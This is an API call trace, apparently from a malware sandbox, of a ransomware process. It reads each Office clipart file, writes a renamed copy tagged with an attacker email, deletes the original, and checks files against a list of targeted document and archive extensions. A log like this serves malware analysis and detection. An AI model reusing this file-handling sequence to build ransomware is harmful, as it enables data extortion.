	[0183.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220
	[0183.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.060] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.060] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.061] GetLastError () returned 0x0
	[0183.061] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x7e8, lpOverlapped=0x0) returned 1
	[0183.062] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0183.064] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.064] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.064] SetEndOfFile (hFile=0x378) returned 1
	[0183.065] CloseHandle (hObject=0x378) returned 1
	[0183.103] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.103] SetEndOfFile (hFile=0x374) returned 1
	[0183.104] CloseHandle (hObject=0x374) returned 1
	[0183.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0183.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.107] lstrlenW (lpString=".doc") returned 4
	[0183.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.107] lstrlenW (lpString=".docx") returned 5
	[0183.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.107] lstrlenW (lpString=".pdf") returned 4
	[0183.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.108] lstrlenW (lpString=".xls") returned 4
	[0183.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.108] lstrlenW (lpString=".xlsx") returned 5
	[0183.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.108] lstrlenW (lpString=".ppt") returned 4
	[0183.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.108] lstrlenW (lpString=".zip") returned 4
	[0183.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.108] lstrlenW (lpString=".rar") returned 4
	[0183.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.108] lstrlenW (lpString=".bz2") returned 4
	[0183.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.108] lstrlenW (lpString=".7z") returned 3
	[0183.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.109] lstrlenW (lpString=".dbf") returned 4
	[0183.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.109] lstrlenW (lpString=".1cd") returned 4
	[0183.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.109] lstrlenW (lpString=".jpg") returned 4
	[0183.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.109] lstrlenW (lpString=".doc") returned 4
	[0183.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.109] lstrlenW (lpString=".docx") returned 5
	[0183.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.109] lstrlenW (lpString=".pdf") returned 4
	[0183.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.110] lstrlenW (lpString=".xls") returned 4
	[0183.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.110] lstrlenW (lpString=".xlsx") returned 5
	[0183.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.110] lstrlenW (lpString=".ppt") returned 4
	[0183.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.110] lstrlenW (lpString=".zip") returned 4
	[0183.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.110] lstrlenW (lpString=".rar") returned 4
	[0183.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.110] lstrlenW (lpString=".bz2") returned 4
	[0183.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.110] lstrlenW (lpString=".7z") returned 3
	[0183.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.111] lstrlenW (lpString=".dbf") returned 4
	[0183.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.111] lstrlenW (lpString=".1cd") returned 4
	[0183.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0183.111] lstrlenW (lpString=".jpg") returned 4
	[0183.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.111] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.111] lstrlenW (lpString="DD01180_.WMF") returned 12
	[0183.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.114] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=2084) returned 1
	[0183.114] CloseHandle (hObject=0x374) returned 1
	[0183.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220
	[0183.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.115] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.115] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.116] GetLastError () returned 0x0
	[0183.116] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x824, lpOverlapped=0x0) returned 1
	[0183.117] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x830, lpOverlapped=0x0) returned 1
	[0183.119] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.119] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.119] SetEndOfFile (hFile=0x378) returned 1
	[0183.120] CloseHandle (hObject=0x378) returned 1
	[0183.120] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.120] SetEndOfFile (hFile=0x374) returned 1
	[0183.121] CloseHandle (hObject=0x374) returned 1
	[0183.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0183.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.122] lstrlenW (lpString=".doc") returned 4
	[0183.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.122] lstrlenW (lpString=".docx") returned 5
	[0183.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.123] lstrlenW (lpString=".pdf") returned 4
	[0183.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.123] lstrlenW (lpString=".xls") returned 4
	[0183.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.123] lstrlenW (lpString=".xlsx") returned 5
	[0183.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.123] lstrlenW (lpString=".ppt") returned 4
	[0183.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.123] lstrlenW (lpString=".zip") returned 4
	[0183.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.123] lstrlenW (lpString=".rar") returned 4
	[0183.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.123] lstrlenW (lpString=".bz2") returned 4
	[0183.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.123] lstrlenW (lpString=".7z") returned 3
	[0183.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.124] lstrlenW (lpString=".dbf") returned 4
	[0183.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.124] lstrlenW (lpString=".1cd") returned 4
	[0183.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.124] lstrlenW (lpString=".jpg") returned 4
	[0183.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.124] lstrlenW (lpString=".doc") returned 4
	[0183.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.124] lstrlenW (lpString=".docx") returned 5
	[0183.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.125] lstrlenW (lpString=".pdf") returned 4
	[0183.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.125] lstrlenW (lpString=".xls") returned 4
	[0183.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.125] lstrlenW (lpString=".xlsx") returned 5
	[0183.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.125] lstrlenW (lpString=".ppt") returned 4
	[0183.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.125] lstrlenW (lpString=".zip") returned 4
	[0183.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.125] lstrlenW (lpString=".rar") returned 4
	[0183.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.125] lstrlenW (lpString=".bz2") returned 4
	[0183.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.126] lstrlenW (lpString=".7z") returned 3
	[0183.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.126] lstrlenW (lpString=".dbf") returned 4
	[0183.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.126] lstrlenW (lpString=".1cd") returned 4
	[0183.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0183.126] lstrlenW (lpString=".jpg") returned 4
	[0183.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.126] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.126] lstrlenW (lpString="DD01181_.WMF") returned 12
	[0183.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.127] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1448) returned 1
	[0183.127] CloseHandle (hObject=0x374) returned 1
	[0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220
	[0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.128] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.128] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.477] GetLastError () returned 0x0
	[0183.477] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x5a8, lpOverlapped=0x0) returned 1
	[0183.478] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0183.479] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.479] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.479] SetEndOfFile (hFile=0x378) returned 1
	[0183.479] CloseHandle (hObject=0x378) returned 1
	[0183.480] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.480] SetEndOfFile (hFile=0x374) returned 1
	[0183.480] CloseHandle (hObject=0x374) returned 1
	[0183.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0183.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.482] lstrlenW (lpString=".doc") returned 4
	[0183.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.482] lstrlenW (lpString=".docx") returned 5
	[0183.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.482] lstrlenW (lpString=".pdf") returned 4
	[0183.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.482] lstrlenW (lpString=".xls") returned 4
	[0183.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.482] lstrlenW (lpString=".xlsx") returned 5
	[0183.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.482] lstrlenW (lpString=".ppt") returned 4
	[0183.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.482] lstrlenW (lpString=".zip") returned 4
	[0183.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.482] lstrlenW (lpString=".rar") returned 4
	[0183.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.482] lstrlenW (lpString=".bz2") returned 4
	[0183.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.482] lstrlenW (lpString=".7z") returned 3
	[0183.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString=".dbf") returned 4
	[0183.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString=".1cd") returned 4
	[0183.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString=".jpg") returned 4
	[0183.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString=".doc") returned 4
	[0183.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString=".docx") returned 5
	[0183.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.483] lstrlenW (lpString=".pdf") returned 4
	[0183.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString=".xls") returned 4
	[0183.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.483] lstrlenW (lpString=".xlsx") returned 5
	[0183.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.483] lstrlenW (lpString=".ppt") returned 4
	[0183.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.483] lstrlenW (lpString=".zip") returned 4
	[0183.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.484] lstrlenW (lpString=".rar") returned 4
	[0183.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.484] lstrlenW (lpString=".bz2") returned 4
	[0183.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.484] lstrlenW (lpString=".7z") returned 3
	[0183.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.484] lstrlenW (lpString=".dbf") returned 4
	[0183.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.484] lstrlenW (lpString=".1cd") returned 4
	[0183.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0183.484] lstrlenW (lpString=".jpg") returned 4
	[0183.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.484] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.484] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0183.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.485] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=296) returned 1
	[0183.485] CloseHandle (hObject=0x374) returned 1
